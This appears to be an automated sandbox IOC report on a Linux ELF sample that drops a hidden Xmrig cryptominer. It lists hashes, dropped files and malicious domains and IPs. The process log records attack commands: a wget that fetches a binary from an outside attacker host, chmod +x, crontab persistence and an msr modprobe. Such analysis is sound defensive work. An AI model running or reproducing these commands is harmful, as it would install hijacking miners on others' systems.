Automated Malware Analysis IOC Report for

Files

File Path

Type

Category

Malicious

.main.elf

ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped

initial sample

Details

Filetype:	ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
Entropy:	6.062332091497626
Filename:	.main.elf
Filesize:	940360
MD5:	1b1445cab8443509f13769a3c479404f
SHA1:	9b1fcc3637f92d8fa281f7ab2243cb382f4be285
SHA256:	864a395c401c668ac8e23aa27eb4bc281e3734d4eafc29178174d79bae48a173
SHA512:	1555c924ad0b94e1189eebe6c091282a9f65d82a46af1cc02f994fc2efdfe0e3de278ad0aa9e699733530c3b654e4249e8b045a2b0690d0a3cd97b0ff99adedb
SSDEEP:	12288:3LCQ0Bliw+6jJlLBkVVXNaasdLg3HLsyRE+9buxxRHKyyubFkDfHx:3LCQ01+6jJHkVVXMasdLg3LZNb0vkT
Preview:	.ELF..............>.....P.@.....@........S..........@.8...@.......................@.......@.....0.......0.................................@.......@......;.......;.......................P.......PK......PK...............................................M....

Signature Hits	Behavior Group	Mitre Attack
Uses the "uname" system call to query kernel version information (possible evasion)	Malware Analysis System Evasion	Security Software Discovery
URLs found in memory or binary data	Networking

/var/spool/cron/crontabs/tmp.VYCskO

ASCII text

dropped

Details

File:	/var/spool/cron/crontabs/tmp.VYCskO
Category:	dropped
Dump:	tmp.VYCskO.39.dr
ID:	dr_5
Target ID:	39
Process:	/usr/bin/crontab
Type:	ASCII text
Entropy:	5.187781216558809
Encrypted:	false
Ssdeep:	6:SUrpqoqQjEOP1K+1SYOBFQ5XXqZHGMQ5UYLtCFt3REEmKq5FJqVu5Fd:8Qj2J8VeeHLUiPKqo0R
Size:	317
Whitelisted:	false
Reputation:	low

Signature Hits	Behavior Group	Mitre Attack
Sample tries to persist itself using cron	Persistence and Installation Behavior

/var/tmp/.rcu_gp/.ps5

ASCII text

dropped

Details

File:	/var/tmp/.rcu_gp/.ps5
Category:	dropped
Dump:	.ps5.15.dr
ID:	dr_1
Target ID:	15
Process:	/bin/bash
Type:	ASCII text
Entropy:	4.592529773709823
Encrypted:	false
Ssdeep:	3:8FIWJSqKBVbdwB2sF/XK4vSAcBVbdwB2sF/XK4vn:fmKq5FJqVu5Fd
Size:	122
Whitelisted:	false
Reputation:	low

Signature Hits	Behavior Group	Mitre Attack
Executes the "crontab" command typically for achieving persistence	Persistence and Installation Behavior	Scheduled Task/Job
Creates hidden files and/or directories	Persistence and Installation Behavior	Hidden Files and Directories
Executes the "rm" command used to delete files or directories	Persistence and Installation Behavior	File Deletion

/var/tmp/.rcu_gp/.report_system

ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, missing section headers at 8825120

dropped

Details

File:	/var/tmp/.rcu_gp/.report_system
Category:	dropped
Dump:	.report_system.19.dr
ID:	dr_2
Target ID:	19
Process:	/usr/bin/wget
Type:	ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, missing section headers at 8825120
Entropy:	5.99435178782022
Encrypted:	false
Ssdeep:	24576:DXrus516T3S3pmcCnlrquhMz2iKJo2ar4N1Wd74Nrz5UQ+iOgHC:D6ZxcCxquhMCLJvar4nWB4F3Kgi
Size:	1411955
Whitelisted:	false
Reputation:	low

Signature Hits	Behavior Group	Mitre Attack
Yara detected Xmrig cryptocurrency miner	Bitcoin Miner
Drops invisible ELF files	Hooking and other Techniques for Hiding and Protection	Hidden Files and Directories
Writes ELF files to hidden directories	Persistence and Installation Behavior	Hidden Files and Directories
Creates hidden files and/or directories	Persistence and Installation Behavior	Hidden Files and Directories
Sample tries to set the executable flag	Persistence and Installation Behavior	File and Directory Permissions Modification
Writes ELF files to disk	Persistence and Installation Behavior

/sys/devices/system/node/node0/hugepages/hugepages-2048kB/nr_hugepages

ASCII text, with no line terminators

dropped

Details

File:	/sys/devices/system/node/node0/hugepages/hugepages-2048kB/nr_hugepages
Category:	dropped
Dump:	nr_hugepages.58.dr
ID:	dr_6
Target ID:	58
Process:	/var/tmp/.rcu_gp/./.report_system
Type:	ASCII text, with no line terminators
Entropy:	1.5
Encrypted:	false
Ssdeep:	3:MRV:Mz
Size:	4
Whitelisted:	false
Reputation:	moderate

/tmp/sh-thd.QhlKa3

Bourne-Again shell script, ASCII text executable

dropped

Details

File:	/tmp/sh-thd.QhlKa3
Category:	dropped
Dump:	sh-thd.QhlKa3.22.dr
ID:	dr_3
Target ID:	22
Process:	/bin/bash
Type:	Bourne-Again shell script, ASCII text executable
Entropy:	4.685906912557653
Encrypted:	false
Ssdeep:	3:TKH/O0urPR6WcHIw2QlAzpKj56WcHIw2sF/XK4FvAYa4vn:uurUbHVlAzp1bHBFPa4vn
Size:	137
Whitelisted:	false
Reputation:	low

Signature Hits	Behavior Group	Mitre Attack
Writes shell script file to disk with an unusual file extension	Persistence and Installation Behavior

/var/tmp/.rcu_gp/.ps4

ASCII text

dropped

Details

File:	/var/tmp/.rcu_gp/.ps4
Category:	dropped
Dump:	.ps4.15.dr
ID:	dr_0
Target ID:	15
Process:	/bin/bash
Type:	ASCII text
Entropy:	3.5724694587701364
Encrypted:	false
Ssdeep:	3:ERP:ERP
Size:	17
Whitelisted:	false
Reputation:	low

Signature Hits	Behavior Group	Mitre Attack
Creates hidden files and/or directories	Persistence and Installation Behavior	Hidden Files and Directories

/var/tmp/.rcu_gp/diicot

Bourne-Again shell script, ASCII text executable

dropped

Details

File:	/var/tmp/.rcu_gp/diicot
Category:	dropped
Dump:	diicot.23.dr
ID:	dr_4
Target ID:	23
Process:	/usr/bin/cat
Type:	Bourne-Again shell script, ASCII text executable
Entropy:	4.685906912557653
Encrypted:	false
Ssdeep:	3:TKH/O0urPR6WcHIw2QlAzpKj56WcHIw2sF/XK4FvAYa4vn:uurUbHVlAzp1bHBFPa4vn
Size:	137
Whitelisted:	false
Reputation:	low

Signature Hits	Behavior Group	Mitre Attack
Executes the "chmod" command used to modify permissions	Persistence and Installation Behavior	File and Directory Permissions Modification
Sample tries to set the executable flag	Persistence and Installation Behavior	File and Directory Permissions Modification
Writes shell script file to disk with an unusual file extension	Persistence and Installation Behavior

Processes

Path

Cmdline

Malicious

/tmp/.main.elf

/bin/bash

/tmp/.main.elf -c "exec '/tmp/.main.elf' \"$@\"" /tmp/.main.elf

/tmp/.main.elf

/bin/bash

/tmp/.main.elf -c " " /tmp/.main.elf

/bin/bash

/usr/bin/mkdir

mkdir /var/tmp/.rcu_gp

/bin/bash

/usr/bin/wget

wget http://xkobeimparatu.net/.puscarie/.report_system -O .report_system

/bin/bash

/usr/bin/chmod

chmod +x .report_system

/bin/bash

/usr/bin/cat

cat

/bin/bash

/usr/bin/chmod

chmod +x /var/tmp/.rcu_gp/diicot

/bin/bash

/usr/bin/crontab

crontab -l

/bin/bash

/usr/bin/grep

grep -q .main

/bin/bash

/usr/bin/rm

rm -rf /var/tmp/.rcu_gp/.ps5

/bin/bash

/usr/bin/sleep

sleep 1

/bin/bash

/usr/bin/sleep

sleep 1

/bin/bash

/usr/bin/sleep

sleep 1

/bin/bash

/usr/bin/crontab

crontab /var/tmp/.rcu_gp/.ps5

/bin/bash

/usr/bin/sleep

sleep 1

/bin/bash

/usr/bin/rm

rm -rf /var/tmp/.rcu_gp/.ps5

/bin/bash

/usr/bin/cat

cat /var/tmp/.rcu_gp/.ps4

/bin/bash

/var/tmp/.rcu_gp/diicot

/usr/bin/pgrep

pgrep -x .report_system

/var/tmp/.rcu_gp/diicot

/var/tmp/.rcu_gp/./.report_system

/bin/sh

sh -c "/sbin/modprobe msr allow_writes=on > /dev/null 2>&1"

/bin/sh

/sbin/modprobe

/sbin/modprobe msr allow_writes=on

/bin/bash

/usr/bin/crontab

crontab -l

/bin/bash

/usr/bin/grep

grep -q .main

/bin/bash

/usr/bin/sleep

sleep 2.5

/bin/bash

/usr/bin/cat

cat /var/tmp/.rcu_gp/.ps4

/bin/bash

/var/tmp/.rcu_gp/diicot

/usr/bin/pgrep

pgrep -x .report_system

/bin/bash

/usr/bin/crontab

crontab -l

/bin/bash

/usr/bin/grep

grep -q .main

/bin/bash

/usr/bin/sleep

sleep 2.5

/bin/bash

/usr/bin/cat

cat /var/tmp/.rcu_gp/.ps4

/bin/bash

/var/tmp/.rcu_gp/diicot

/usr/bin/pgrep

pgrep -x .report_system

/bin/bash

/usr/bin/crontab

crontab -l

/bin/bash

/usr/bin/grep

grep -q .main

/bin/bash

/usr/bin/sleep

sleep 2.5

/bin/bash

/usr/bin/cat

cat /var/tmp/.rcu_gp/.ps4

/bin/bash

/var/tmp/.rcu_gp/diicot

/usr/bin/pgrep

pgrep -x .report_system

/bin/bash

/usr/bin/crontab

crontab -l

/bin/bash

/usr/bin/grep

grep -q .main

/bin/bash

/usr/bin/sleep

sleep 2.5

/bin/bash

/usr/bin/cat

cat /var/tmp/.rcu_gp/.ps4

/bin/bash

/var/tmp/.rcu_gp/diicot

/usr/bin/pgrep

pgrep -x .report_system

/bin/bash

/usr/bin/crontab

crontab -l

/bin/bash

/usr/bin/grep

grep -q .main

/bin/bash

/usr/bin/sleep

sleep 2.5

/bin/bash

/usr/bin/cat

cat /var/tmp/.rcu_gp/.ps4

/bin/bash

/var/tmp/.rcu_gp/diicot

/usr/bin/pgrep

pgrep -x .report_system

/bin/bash

/usr/bin/crontab

crontab -l

/bin/bash

/usr/bin/grep

grep -q .main

/bin/bash

/usr/bin/sleep

sleep 2.5

/bin/bash

/usr/bin/cat

cat /var/tmp/.rcu_gp/.ps4

/bin/bash

/var/tmp/.rcu_gp/diicot

/usr/bin/pgrep

pgrep -x .report_system

/bin/bash

/usr/bin/crontab

crontab -l

/bin/bash

/usr/bin/grep

grep -q .main

/bin/bash

/usr/bin/sleep

sleep 2.5

/bin/bash

/usr/bin/cat

cat /var/tmp/.rcu_gp/.ps4

/bin/bash

/var/tmp/.rcu_gp/diicot

/usr/bin/pgrep

pgrep -x .report_system

There are 119 hidden processes, click here to show them.

URLs

Name

Malicious

https://xmrig.com/benchmark/%s

unknown

https://bugs.launchpad.net/ubuntu/

unknown

https://xmrig.com/wizard

unknown

http://xkobeimparatu.net/.puscarie/.report_system

66.63.187.195

Details

Name:	http://xkobeimparatu.net/.puscarie/.report_system
IP:	66.63.187.195
TargetID:	-1
From Memory:	false
Source:	network

Signature Hits	Behavior Group	Mitre Attack
Executes the "wget" command typically used for HTTP/S downloading	Networking, Persistence and Installation Behavior	Application Layer Protocol

https://gcc.gnu.org/bugsterminate

unknown

https://xmrig.com/wizard%s

unknown

https://xmrig.com/docs/algorithms

unknown

Domains

Name

Malicious

xkobeproxy.xkobeimparatu.net

91.184.240.129

Details

Name:	xkobeproxy.xkobeimparatu.net
IP:	91.184.240.129
TargetID:	-1
Active:	true

Signature Hits	Behavior Group	Mitre Attack
Detected Stratum mining protocol	Bitcoin Miner
Performs DNS lookups	Networking	Application Layer Protocol Non-Application Layer Protocol

xkobeimparatu.net

66.63.187.195

Details

Name:	xkobeimparatu.net
IP:	66.63.187.195
TargetID:	-1
Active:	true

Signature Hits	Behavior Group	Mitre Attack
Executes the "wget" command typically used for HTTP/S downloading	Networking, Persistence and Installation Behavior	Application Layer Protocol
Downloads files from webservers via HTTP	Networking	Application Layer Protocol Non-Application Layer Protocol Ingress Tool Transfer
Performs DNS lookups	Networking	Application Layer Protocol Non-Application Layer Protocol

IPs

Domain

Country

Malicious

91.184.240.129

xkobeproxy.xkobeimparatu.net

Russian Federation

Details

IP:	91.184.240.129
TargetID:	-1
Country:	Russian Federation
Countrycode:	RUS
ASN number:	41745
ASN name:	IPNET-RUSSIA-ASRU
Private:	false
Domain:	xkobeproxy.xkobeimparatu.net

Signature Hits	Behavior Group	Mitre Attack
Detected Stratum mining protocol	Bitcoin Miner

66.63.187.195

xkobeimparatu.net

United States

109.202.202.202

unknown

Switzerland

Details

IP:	109.202.202.202
TargetID:	-1
Country:	Switzerland
Countrycode:	CHE
ASN number:	13030
ASN name:	INIT7CH
Private:	false

Signature Hits	Behavior Group	Mitre Attack
Connects to IPs without corresponding DNS lookups	Networking

91.189.91.43

unknown

United Kingdom

Details

IP:	91.189.91.43
TargetID:	-1
Country:	United Kingdom
Countrycode:	GBR
ASN number:	41231
ASN name:	CANONICAL-ASGB
Private:	false

Signature Hits	Behavior Group	Mitre Attack
Connects to IPs without corresponding DNS lookups	Networking

91.189.91.42

unknown

United Kingdom

Details

IP:	91.189.91.42
TargetID:	-1
Country:	United Kingdom
Countrycode:	GBR
ASN number:	41231
ASN name:	CANONICAL-ASGB
Private:	false

Signature Hits	Behavior Group	Mitre Attack
Connects to IPs without corresponding DNS lookups	Networking

Memdumps

Base Address

Regiontype

Protect

Malicious

c29000

page execute read

7f9394f79000

page read and write

f07000

page read and write

7f93952f0000

page read and write

e6b000

page read and write

7f9394f77000

page execute read

115c000

page read and write

7ffe81e0f000

page read and write

7f939516b000

page read and write

7f9395335000

page read and write

7ffe81f11000

page execute read

There are 1 hidden memdumps, click here to show them.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

IOC Report
.main.elf

Files

Processes

URLs

Domains

IPs

Memdumps

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

IOC Report.main.elf

Files

Processes

URLs

Domains

IPs

Memdumps

IOC Report
.main.elf